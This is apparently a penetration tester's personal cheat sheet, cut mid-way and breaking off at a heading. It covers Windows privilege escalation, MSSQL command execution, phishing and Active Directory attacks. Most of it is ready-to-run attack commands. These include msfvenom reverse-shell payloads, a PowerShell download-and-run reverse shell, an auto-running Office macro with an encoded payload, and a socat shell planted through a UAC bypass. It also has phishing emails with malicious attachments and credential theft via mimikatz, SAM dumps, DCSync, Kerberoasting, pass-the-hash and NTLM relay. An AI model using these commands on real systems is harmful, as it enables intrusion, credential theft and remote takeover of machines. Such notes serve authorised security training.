• whoami /priv (look for shutdown privilege disabled)
• shutdown /r /t 0
Note: When using a network logon such as WinRM or a bind shell, Get-CimInstance and Get-Service will result in a "permission denied"
error when querying for services with a non-administrative user. Using an interactive logon such as RDP solves this problem.

#DLL Hijacking
• Check Service Binary Hijacking
• If we didn’t have write permission, open procmon and filter based on specific service name.exe and createFile in operations
• Look for the service calling a dll.
• Check if you have write permission there of if there is no dll replace it with shell.dll(look in Small exploits)
or
• msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f dll > shell.dll
• msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f dll > shell.dll
• File transfer and done
#Insecure Service File Permissions
• sc queryex type= service (to check state of service)
• Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
• icacls "filepath" ( to check if it is writable)
• Compile adduser.c and file transfer adduser.exe to shell
• Replace service file with adduser.exe using copy command.
• Restart the service or restart the server - net stop servicename or net restart servicename or shutdown /r /t 0
• Get shell again and run net localgroup Administrators we can see our user evil there
Note: Start-Service servicename

#Insecure Service Permissions


For Safety move original service file as .bak and replace our revshell.exe as that service file.
• wmic service get name,startname,pathname (enumerating services, Look for services inside Program Files)
• sc qc "servicename" (Check for Local System and start type for DEMAND START)
• accesschk.exe /accepteula -uwcqv user servicename (using accesschk to identify SERVICE ALL ACCESS or SERVICE CHANGE CONFIG
permissions)
• msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > shell.exe
• File Transfer
• sc config servicename binPath= "C:\Users\Public\shell.exe"
• nc -lvnp port
• net start servicename

WEAK REGISTRY PERMISSIONS:


Look for reg path in winpeas result
• sc qc "servicename"
• accesschk.exe /accepteula -uvwqk "regpath" (use -d if it gives no o/p)
• Is it writable for NT Authority/ Interactive?
• reg add 'regpath' /v ImagePath /t REG_EXPAND_SZ /d pathofreverse.exe /f
• listener on kali
• net start service name
Note: sc config servicename start= auto

UNQUOTED SERVICE PATHS:


• Get-CimInstance -ClassName win32_service | Select Name,State,PathName
• wmic service get name,startname,pathname (display service names and its path)
• sc qc unquotedsvc (querying the service to check)
• accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" (Checking Write Access)
• msfvenom -p windows/x64/shell_reverse_tcp LHOST=kaliip LPORT=port -f exe -o reverse.exe
• move servicefile.exe servicefile.bak
• File Transfer (Place the file based on unquoted service path exploit)
• Start listener
• net start servicename

TASK SCHEDULER:
• Get-ScheduledTask or schtasks /query /fo LIST /V (identify a task that works once a minute)
• accesschk.exe /accepteula -quvw user C:\DevTools\service.exe
• echo C:\PrivEsc\reverse.exe >> C:\DevTools\service.exe (we are just adding the path of our reverse shell executable)
• Start listener
In Some cases,
• create a schedule task (cfexec.cfm) in C:\inetpub\wwwroot\cfexec.cfm and check save output
or reverse shell
• msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.jsp
PS1 File?
• $secpasswd = ConvertTo-SecureString "aliceishere" -AsPlainText -Force
• $mycreds = New-Object System.Management.Automation.PSCredential ("alice", $secpasswd)
• $computer = "Bethany"
• [System.Diagnostics.Process]::Start("C:\Users\Public\rev.exe", "", $mycreds.Username, $mycreds.Password, $computer)
• msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev.exe
• powershell -ExecutionPolicy Bypass -File c:\users\public\root.ps1

SEIMPERSONATION: (Potato Exploits / PrintSpoofer) (this may fail troubleshoot by trying more than 3 -5 times and check juggernaut
blog and then conclude any decision)
• Mostly works when you are service user
• whoami /priv
• SeImpersonate Privileges Enabled?
• If not np we can simulate as service account
• PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
• Check OS Version
• >= Win 10 1809 & Windows Server 2019 - ROGUE POTATO
• < Win 10 1809 < Windows server 2019 - JUICY POTATO
• > Win 10 1607 & Server 2016-2019 present
#JUICY POTATO
1. start listener for reverse.exe
2. JuicyPotato.exe -t * -p reverse.exe -l 443
or

#ROGUE POTATO
1. sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.146.246:9999 (we are opening a port in kali accepting connections and forwarding
it to 9999)
2. start netcat listener with reverse.exe port
3. C:\PrivEsc\RoguePotato.exe -r 10.8.66.109 -e "C:\PrivEsc\reverse.exe" -l 9999
#TOKEN IMPERSONATION
• sc query spooler
• PrintSpoofer.exe -i -c cmd
or
• PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
SEBACKUP Privileges Present?
• whoami /priv
• SeBackupPrivilege disabled? Enable it
• File Transfer those two dll
• Import-Module .\SeBackupPrivilegeUtils.dll
• Import-Module .\SeBackupPrivilegeCmdLets.dll
• Set-SeBackupPrivilege
• Get-SeBackupPrivilege
• cd c:\
• mkdir Temp
• reg save hklm\sam c:\Temp\sam
• reg save hklm\system c:\Temp\system
• File transfer them to kali
• pypykatz registry --sam sam system
• Pass the hash using evil-winrm - evil-winrm -i ip -u user -H "hash"

https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/

PASSWORD HUNT:
• lazagne.exe -all
• findstr /si password *.txt *.ini *.config (try searching in different directories)
• dir /s *pass* == *cred* == *vnc* == *.config*
• dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
• where /R C:\ user.txt
• where /R C:\ *.ini
• reg query HKLM /f password /t REG_SZ /s
• reg query regpath
• evil-winrm -u user -p pass -i ip

STORED CREDENTIALS:
• cmdkey /list
• start listener
• runas /savecred /user:admin C:\PrivEsc\reverse.exe (we get system shell here)
• C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e
cmd.exe"

ALWAYS INSTALL ELEVATED:


• Look in Winpeas whether it is set to 1 (0x1) for both HKLM, HKCU.
• reg query pathname - to query the registry to check whether win installer has elevated priv
if 0x1 then its enabled
• msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
• File Transfer
• Listener on kali
• msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

AUTORUNS: (Admin must login for this to work)


• Look for WinPeas results
• reg query "regpath"
• accesschk.exe /accepteula -wvu servicepath (checking whether we can place our revshell.exe there)
• start listener before placing file
• Since its auto run we get shell after restarting server and admin login

KERNEL EXPLOITS:
• systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
• driveryquery /v (even if driver is stopped we can interact with it since its loaded in kernel memory space)
• searchsploit "3rd party driver name"
• For more info on version look for that driver name in Program Files\
• require gcc.exe
• file transfer
• Run whoami before running exploit
https://www.exploit-db.com/exploits/40564 - afd.sys LPE

PASS THE HASH:


• pth-winexe -U offsec%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e //10.11.0.22 cmd
• evil-winrm -u user -H hash -i ip

CLSID Extraction - Get-ChildItem -Path HKLM:\SOFTWARE\Classes\CLSID | ForEach-Object { if ((Get-ItemProperty $_.pspath).'(default)' -


match "AppID") { Write-Host $_.pschildname } }

#Try to change password of administrator


net user "user" "pass"

#Changes to System Shell


powershell.exe Start-Process cmd.exe -Verb runAs

#SAM & System Files


• copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
• copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\
• python3 creddump7/pwdump.py SYSTEM SAM
• hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt
• Try Pass-The-Hash Attack.

UAC BYPASS:
Try checking the integrity level
• whoami /groups (see last one)
• net user admin Ev!lpass (Access Denied ?) (We are changing password of user admin)
• powershell.exe Start-Process cmd.exe -Verb runAs (We'll get UAC prompt)
• https://www.exploit-db.com/exploits/46998
• use exploit/windows/local/bypassuac_eventvwr

#BYPASS
Check for fodhelper.exe or any other binary that runs on high integrity - C:\Windows\System32\fodhelper.exe
#Look for Application Manifest
• sigcheck.exe -a -m "binary path"
• Is AUTOELEVATE set to TRUE? (helps app to run on high integrity without UAC prompt)
• requestedExecutionLevel level="requireAdministrator" ? (only admin users are meant to run this)
Use PROCMON,
Filter > Process Name > binary name
Filter > Operation > Reg
Filter > Result > Not Found
Is these there? then,
Filter > Path > HKCU
Find the path then -
• REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
• whoami /groups
#FOR SCH TASKS
• reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4446 EXEC:cmd.exe,pipes &REM
" /f
• schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
#AUTOMATION
• https://github.com/hfiref0x/UACME
• C:\tools\UACME-Akagi64.exe 33
33 fodhelper.exe
34 DiskCleanup scheduled task
70 fodhelper.exe using CurVer registry key
USER IN LAPS GROUP? (Check Timelapse machine from ippsec)

• crackmapexec ldap 192.168.1.172 -u administrator -p ‘Ignite@123’ –kdcHost 192.168.1.172 -M laps

MISC:
• system('net user pwn pass123 /add');
• system('net localgroup Administrators pwn /add');
• psexec.py [email protected] -hashes :81705f25df71d547b2f658fbfd11885d
MSSQL
04 April 2023 09:31

• impacket-mssqlclient Administrator:[email protected] -windows-auth

Note: Use go after every commands if we check in server

#Commands
• SELECT @@version;
• SELECT name FROM sys.databases; (master, tempdb, model, and msdb are
default databases)
• SELECT * FROM offsec.information_schema.tables; (dbname.schema.tables)
• select * from offsec.dbo.users; (dbname.schema.tablename)

CODE EXECUTION:
#Enabling XP_CMDSHELL
• EXECUTE sp_configure 'show advanced options', 1;
• RECONFIGURE;
• EXECUTE sp_configure 'xp_cmdshell', 1;
• RECONFIGURE;

• EXECUTE xp_cmdshell 'whoami';


Client-Side Attacks
08 April 2023 08:43

POWERSHELL POPUP:
Sub AutoOpen()
MyMacro

End Sub
Sub Document_Open()
MyMacro

End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"

End Sub

#Macro Invoking Powershell for ReverseShell(create a macro name MyMacro


• UTF-16 LE Base64 encode the following payload - https://www.base64encode.org/
• IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.119.3/powercat.ps1');powercat -c 192.168.119.3 -p 4444 -
e powershell
• Split it using Splitb64.py in pwk dir.
#Python script to split base64 encoded payload
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')

• Add it in the following VBA code. Save it as docm or doc or dotx.

Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String

Str = Str + "powershell.exe -nop -w hidden -e SUVYKE5ldy1PYmplY"


Str = Str + "3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5"
Str = Str + "nKCdodHRwOi8vMTkyLjE2OC4xMTkuMi9wb3dlcmNhdC5wczEnK"

Str = Str + "Ttwb3dlcmNhdCAtYyAxOTIuMTY4LjExOS4xODIgLXAgNDQ0NCA"


Str = Str + "tZSBwb3dlcnNoZWxsCg=="
CreateObject("Wscript.Shell").Run Str
End Sub

CODE EXECUTION VIA WINDOWS LIBRARY FILES:


#Creating WebDav Dir, and test.txt file in it, Starting WebDav Server
• mkdir /home/kali/webdav
• touch /home/kali/webdav/test.txt
• /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/ (Look in o/p to see its hosted
on which port default 127.0.0.1:80)
#Windows Library Code For Connecting To WebDav Share (Change IP)
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.119.2</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

• Open Notepad and save it as config.Library-ms


• Click on that config.Library-ms file in Desktop to see our WebDav Share with test.txt in it

#Creating a Shortcut in Windows For Reverse Shell using PowerShell i.e., PowerCat
• Right Click on Windows > New > Shortcut
• Enter Powershell onliner for Downloading and Executing Powercat
• powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.177:8000/powercat.ps1');powercat -
c 192.168.45.177 -p 4444 -e powershell"
• Click on Next and Save it as automatic_configuration.

Copy config.Library-ms and automatic_configuration file inside config.Library.ms i.e., Place it it WebDav Share
#Sending emails with the Windows Library file as attachment
• sudo swaks -t [email protected] -t [email protected] --from [email protected] --attach @config.Library-ms --server
192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap (-t to, --from user creds we have --server
mail server, body.txt dummy file with content)

#Reverse Shell (SMB or SMTP)


• Navigate to WebDav Folder in Kali
• smbclient //targetip/share -c 'put config.Library-ms'
Simulated User will click on the reverse shell shortcut file and we'll get reverse shell
• sendEmail -t [email protected] -f [email protected] -s 192.168.182.199 -u Important Upgrade Instructions -a
~/webdav/config.Library-ms -m "Hi there" -xu [email protected] -xp test (dave wizard user was identified in exif data,
[email protected] was identified by dir bf i.e., INFO.pdf )
Note: Above one will work even if -xu -xp were not used
Active Directory
23 March 2023 21:37

• whoami
• Get-History
• (Get-PSReadlineOption).HistorySavePath
• net user "username" (check for group membership)
• Get-ADUser
• Get-LocalUser
• Get-LocalGroup
• Get-LocalGroupMember "groupname"
• route print
• net user /domain
• net user "username" /domain
• net group /domain
• net group "groupname" /domain (always check custom groups first)
RID = 500 (local administrator)

Did you get any valid user creds? Don’t rush into bruteforce with cme or stuffs try,
• impacket-GetADUsers -all -dc-ip ip domain.com/user

To Identify Hostname and domain name:


• crackmapexec smb ip
To Identify Users
• crackmapexec smb ip --users
• crackmapexec smb ip -u '' --users
• crackmapexec smb ip -u '' -p '' --users
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------
ENUMERATION:
• ./enumerate.ps1
• Import-Module .\function.ps1
• LDAPSearch -LDAPQuery "(samAccountType=805306368)" (LDAPSearch - declared function name) (Filtering samAccountType)
• LDAPSearch -LDAPQuery "(objectclass=group)" (Search for Object Class to list all objects in Domain)

• ldapsearch -h ip
• ldapsearch -h ip -x -s base namingcontexts
• ldapsearch -h ip -x -b "DC=htb,DC=local" '(objectClass=Person)'
• ldapsearch -h ip -x -b "DC=htb,DC=local" '(objectClass=Person)' sAMAccountName
• ldapsearch -h ip -x -b "DC=htb,DC=local" '(objectClass=Person)' sAMAccountName | grep sAMAccountName | awk '{print $2}' >
users.ldap

#To Enumerate every group available in domain and query the users
• foreach ($group in $(LDAPSearch -LDAPQuery "(objectCategory=group)")) {$group.properties | select {$_.cn}, {$_.member}}

#To Enumerate Members in Specific group(i.e., Sales Department)


• $sales = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Sales Department))"
• $sales.properties.member

Note: Custom Scripts are more efficient than net.exe because net.exe enumerates user objects whereas the above AD scripts enumerate
group objects.
Nested Group- Group inside a group
Always check nested groups as there might be a member in it who can be be admin user.

ENUMERATION WITH POWERVIEW:


• File Transfer
• Import-Module .\PowerView.ps1
• Get-NetDomain
• Get-NetUser
• Get-NetUser | select cn
• Get-NetUser | select cn,pwdlastset,lastlogon (If a user hasn't changed their password since a recent password policy change, their
password may be weaker than the current policy. This might make it more vulnerable to password attacks.)
• Get-NetGroup | select cn
• Get-NetGroup "groupname" | select member
• Get-NetComputer
• Get-NetComputer | select operatingsystem,dnshostname
• Get-NetComputer | ForEach-Object { $dnsName = $_.Name; $ipAddress = (Resolve-DnsName $_.Name | Where-Object
{ $_.IPAddress -ne $null } | Select-Object -First 1).IPAddress; $_ | Select-Object OperatingSystem, DNSHostName,
@{Name="IPAddress";Expression={$ipAddress}} }
or
• Resolve-DnsName PROD01.medtech.com | Select-Object -ExpandProperty IPAddress

#Enumerating Logon Users


• Find-LocalAdminAccess (Scanning Domain to identify where we have admin privileges)
• Get-NetSession -ComputerName client74 -Verbose (We might get access denied error)
• Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl (Permissions to enumerate sessions
via netsessionenum api are defined in this SrvsvcSessionInfo registry key and the path is in command)
• Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
Note: Netsessionenum wont word < Windows Server 2019 build 1809 and Windows 11
• File Transfer PsLoggedon.exe
• .\PsLoggedon.exe \\client74 (check if our user or any user for which we have creds are there if so login to that server ip using the
user creds)

#Enumerating SPN:
• setspn -L iis_service (Listing SPN linked to the account)
• Get-NetUser -SPN | select samaccountname,serviceprincipalname (Using PowerView)

#Enumerating Object Permissions:


• Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select
SecurityIdentifier,ActiveDirectoryRights (Check if GenericAll is present)
• "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-
18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName (Convert the SID which has GenericAll set)
Note: Regular domain user should not have GenericAll permissions set if it is present
• net group "Management Department" stephanie /add /domain (adding the user which has GenericAll permissions set)
• Get-NetGroup "Management Department" | select member (Verify is user is added)
• net group "Management Department" stephanie /del /domain (Del the addedd user if needed)
#Enumerating Domain Shares
• Find-DomainShare
• Find-DomainShare -CheckShareAccess (To list shares available to us)
• ls \\DC1\SYSVOL\ (domain \ share name)
• Found Passwords in Groups.xml or any other file?
• gpp-decrypt "hash"

AUTOMATED ENUMERATION:
• Import-Module .\Sharphound.ps1
• Invoke-BloodHound -CollectionMethod All -OutputDirectory outputpath -OutputPrefix "anyname"
• Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit" -ZipFilename
corpaudit.zip
• File Transfer to kali
• sudo neo4j start
• bloodhound
#Raw Query
• MATCH (m:Computer) RETURN m (list all computer objects)
• MATCH (m:User) RETURN m
• MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p (List all Active User Sessions)

Find all unconstrained delegations excluding domain controllers


• MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS
domainControllers MATCH (c2 {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2

Find constrained delegation


• MATCH p=(u:User)-[:AllowedToDelegate]->(c:Computer) RETURN p

Find users that can be AS-REP roasted


• MATCH (u:User {dontreqpreauth: true}) RETURN u

Find users with blank passwords that are enabled


• MATCH (u:User) WHERE NOT u.userpassword IS null AND u.enabled = TRUE RETURN u.name,u.userpassword

Find users having password in their description


• MATCH (m:User) WHERE m.description CONTAINS 'password' RETURN m.name, m.description

Find domain users with interesting permissions against GPOs


• MATCH p=(u:User)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|GpLink*1..]->(g:GPO) RETURN p

Find groups that can reset passwords


• MATCH p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN p

Find groups having local Admin privilege


• MATCH p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN p

Find all users that have local admin rights


• MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN p

Find all active Domain Admin sessions


• MATCH (n:User)-[:MemberOf]->(g:Group) WHERE g.objectid ENDS WITH '-512' MATCH p = (c:Computer)-[:HasSession]->(n) return p

Find all Certificates templates


• MATCH (n:GPO) WHERE n.type = 'Certificate Template' RETURN n

Find enabled certificates templates


• MATCH (n:GPO) WHERE n.type = 'Certificate Template' and n.Enabled = true RETURN n

Find ESC1 Misconfigured Certificate Templates


• MATCH (n:GPO) WHERE n.type = 'Certificate Template' and n.`Enrollee Supplies Subject` = true and n.`Client Authentication` = true
and n.`Enabled` = true RETURN n

Find ESC2 Misconfigured Certificate Template


• MATCH (n:GPO) WHERE n.type = 'Certificate Template' and n.`Enabled` = true and (n.`Extended Key Usage` = [] or 'Any Purpose' IN
n.`Extended Key Usage`) RETURN n

Find Certificate Authorities with HTTP verb enrollment (ECS8)


• MATCH (n:GPO) WHERE n.type = 'Enrollment Service' and n.`Web Enrollment` = 'Enabled' RETURN n

#To Check
• Find Workstations where Domain Users can RDP
• Find Servers where Domain Users can RDP
• Find Computers where Domain Users are Local Admin
• Shortest Path to Domain Admins from Owned Principals
• List all kerberoastable accounts

Very Useful for exploiting Rights or others using BloodHound Info - https://burmat.gitbook.io/security/hacking/domain-exploitation
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------
ATTACK:
#Password Attacks
• net accounts
• $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
• $PDC = ($domainObj.PdcRoleOwner).Name
• $SearchString = "LDAP://"
• $SearchString += $PDC + "/"
• $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
• $SearchString += $DistinguishedName
• New-Object System.DirectoryServices.DirectoryEntry($SearchString, "pete", "Nexus123!") (Creating new object with other user
creds. If invalid creds provided we'll get error)
FOR PASSWORD SPRAYING USE -
• .\Spray-Passwords.ps1 -Pass passwordhere -Admin
or
• crackmapexec smb 192.168.235.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success (try to enumerate list of users for
input here)
Note: In o/p if there is pwn3d! then that user has local admin privileges
• cme can be used for - smb,rdp,winrm,ssh,ldap. (Add --pass-pol after ip to know if it has account lockout implemented)
FOR
• .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
Note: If you receive a network error, make sure that the encoding of usernames.txt is ANSI. You can use Notepad's Save As functionality
to change the encoding.

TO IDENTIFY OUR USER IS ADMIN AT WHICH SERVER IN LIST OF SERVERS


• crackmapexec smb ip.txt -u pete -p 'Nexus123!' -d corp.com --continue-on-success

AS-REP ROASTING:
In kerberos first AS-REQ is sent and if creds are valid then DC sends AS-REP which has TGT and session key. We can capture that and
bruteforce offline that’s called AS-REP Roasting.
Note: Do not require Kerberos preauthentication should be enabled for this attack to work.

"WE CAN DO THIS ATTACK WITHOUT PASSWORD OR EVEN WITHOUT CREDS"

FOR LINUX:
• impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete (in o/p we'll get a user who has
the above mention option enabled then its vulnerable to as-rep roasting)
• impacket-GetNPUsers -dc-ip 192.168.50.70 -request 'htb.local\'
Note: We can do this even without creds
FOR WINDOWS:
• .\Rubeus.exe asreproast /nowrap
FOR CRACK:
• sudo hashcat -m 18200 hashes.asreproast ~/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
HOW TO CHECK IF THE USER HAS DO NOT REQUIRE KERBEROS PREAUTH ENABLED?
• Get-DomainUser -PreauthNotRequired (Windows)
• impacket-GetNPUsers -dc-ip 192.168.50.70 corp.com/pete (Kali)
Note: Generic All or Generic Write permission enabled? we can not only force change password but we can also manipulate UAC value to
enable Do not require kerberos pre-auth. This is called Targeted AS-REP Roasting. We can reset the UAC value once we got the hash.

KERBEROASTING:
User wants to access a specific service in DC so they request TGS and Session key(TGS-REP). DC validates creds if external and if internal
we can directly request for TGS and session key since DC does not validate who is requesting for TGS.
• .\Rubeus.exe kerberoast /outfile:hashes.kerberoast (Windows Internal)
• sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete (Linux External)
• sudo hashcat -m 13100 hash ~/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force (Cracking Pass)
• psexec.py active.htb/[email protected]
Note: impacket-GetUserSPNs throws the error "KRB_AP_ERR_SKEW(Clock skew too great)," we need to synchronize the time of the Kali
machine with the domain controller. We can use ntpdate3 or rdate4 to do so.
This is immensely powerful if we crack high privileged service accounts
If the SPN runs in the context of a computer account, a managed service account,5 or a group-managed service account,6 the password
will be randomly generated, complex, and 120 characters long, making cracking infeasible. e.g: krbtgt - a service account. So run on user
accounts

Generic All or Generic Write permission? We can not only force change the password but also we can set an SPN for user and kerberoast
it

SILVER TICKETS: (We can impersonate any domain user to access a specific service by forging TGS)
User and group permissions in the service ticket are not verified by the application in a majority of environments. Application executing
in context of service accounts trusts it blindly. Privileged Account Certificate (PAC) validation is an optional verification process between
the SPN application and the domain controller. If PAC Enabled DC checks the privileges of authenticating user in ST. Service Applications
rarely does this.
We can try if we have password hash of the SPN, a machine account, or user

We can create our own service ticket called Silver Ticket if we have,
• SPN password hash - mimikatz > sekurlsa::logonpasswords
• Domain SID > whoami /user (omit last part since that’s RID)
• Target SPN - Enumerate SPN

Steps:
• iwr -UseDefaultCredentials http://web04 (trying to access)
• 401 Unauthorized?
• kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http
/rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin (/ptt to inject forged ticket to memory)
• klist
• iwr -UseDefaultCredentials http://web04

We can use (iwr -UseDefaultCredentials http://web04).Content to view source code

Add/Exploit DCSync Rights:


Do you have WriteDACL to a domain? Give DCSync rights to an unprivileged domain user account:
• Add-DomainObjectAcl -TargetIdentity "DC=burmatco,DC=local" -PrincipalIdentity useracct1 -Rights DCSync
WORKED?
• impacket-secretsdump oscp.exam\offsec:password@ip
• cat hash | grep ::: |awk -F: '{print $4}' > hash.out
• Use crackstation or hashcat -m 1000 --user

DC SYNC: (uses DRSUAPI)


More DC are used in Prod to provide redundancy and it uses Directory Replication Service (DRS) Remote Protocol for this by requesting
an update for specific object or user account. DC receiving that update does not check whether that came from another DC. It checks
only SID and priv.
Rights - Replicating Directory Changes, Replicating Directory Changes All, and Replicating Directory Changes in Filtered Set (these should
be there by default it will be for domain admins, enterprise admins, etc.,).
If we have access to these accounts or above rights are set we can perform DC-Sync attack by impersonating a DC.
Note: This allows us to request any user credentials from the domain
FOR WINDOWS:
• .\mimikatz.exe
• lsadump::dcsync /user:corp\dave (we can get any user creds here)
• lsadump::dcsync /user:beyond\Administrator
FOR LINUX:
• impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.50.70 (We'll get
NTLM hash)

MIMIKATZ: (use when you have Admin Priv)


• privilege::debug (To check Admin privilege)
• token::elevate (To elevate Admin Privileges to run commands as Admin)
• lsadump::sam (to dump sam passwords from lsass process memory)
• sekurlsa::tickets (AD)
• sekurlsa::logonpasswords (AD) (All users logged into current system)
• crypto::capi
• crypto::cng
• Crackstation.net
Note: Administrator's hash might same for two different machines.
or

#CRACKING NET-NTLMv2 (If you are as any user in shell but dont know the password. We can use this to get the password)
• Identify user name and check if he's in which group
• sudo responder -I tun0 (turning on responder and listening on interface tun0)(Responder by default has smb server)
• dir \\192.168.119.2\test (using dir command to list unknown share which tries to authenticate to responder and we get hash)
• save hash in hash.txt
• hashcat -m 5600 paul.hash ~/rockyou.txt --force
Tips: Look for file upload functionalities and intercept request. In File_name= parameter add \\\\kaliip\share to get net-ntlm hash in
responder

#RELAYING NET_NTLMv2 (We access to Files01 as local user (non-admin) we can setup an relay mech. which doesn't print ntlm hash but
forwards that to Files02(Other machine). This is worth if our normal user is admin user on other machine.
• sudo impacket-ntlmrelayx --no-http-server -smb2support -t "targetipwewantorelay" -c "powershell -enc JABjAGwAaQBlAG4AdA..."
• nc -lvnp 4444
• dir \\kaliip\share (In our local user machine)
#Wordpress - backup migration plugin?
• Relaying cmd
• Where shall the backups be restored > \\kaliip\kali
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------LATERAL MOVEMENT:
WMI and WinRM: (We can gain rev shell jst by having user creds)
We can create process on remote target if we have Domain Admin creds. Thus if we have domain admin creds we can gain reverse shell
of any target in AD.
• wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc" (Creating calculator process by using jen
creds(DA))
• Does it work? (Return Value should be 0)
#Creating PS-Credential Object for gaining reverse shell
LINUX:
• $username = 'jen'; (change this)
• $password = 'Nexus123!'; (change this)
• $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
• $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
• $Options = New-CimSessionOption -Protocol DCOM
• $Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options (target)
• $Command = 'powershell -nop -w hidden -e '; (powershell oneliner)
• start listener
• Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =
$Command};

WINDOWS:
• winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
and
• start listener
• winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e "
Note: For WinRS to work, the domain user needs to be part of the Administrators or Remote Management Users group on the target
host.
#Powershell Remoting
• New-PSSession -ComputerName 192.168.50.73 -Credential $credential
• Enter-PSSession 1 (we'll get shell)

PSEXEC: (we can get shell of users if we have their creds)


Note: User must be part of admin local group, ADMIN$ share must be available and File and Printer Sharing has to be turned on
• ./PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd

PASS THE HASH (PASSING NTLM) (Use when you can't crack the hash) (Port 445 required)
Note: ADMIN$ share must be available and File and Printer Sharing has to be turned on
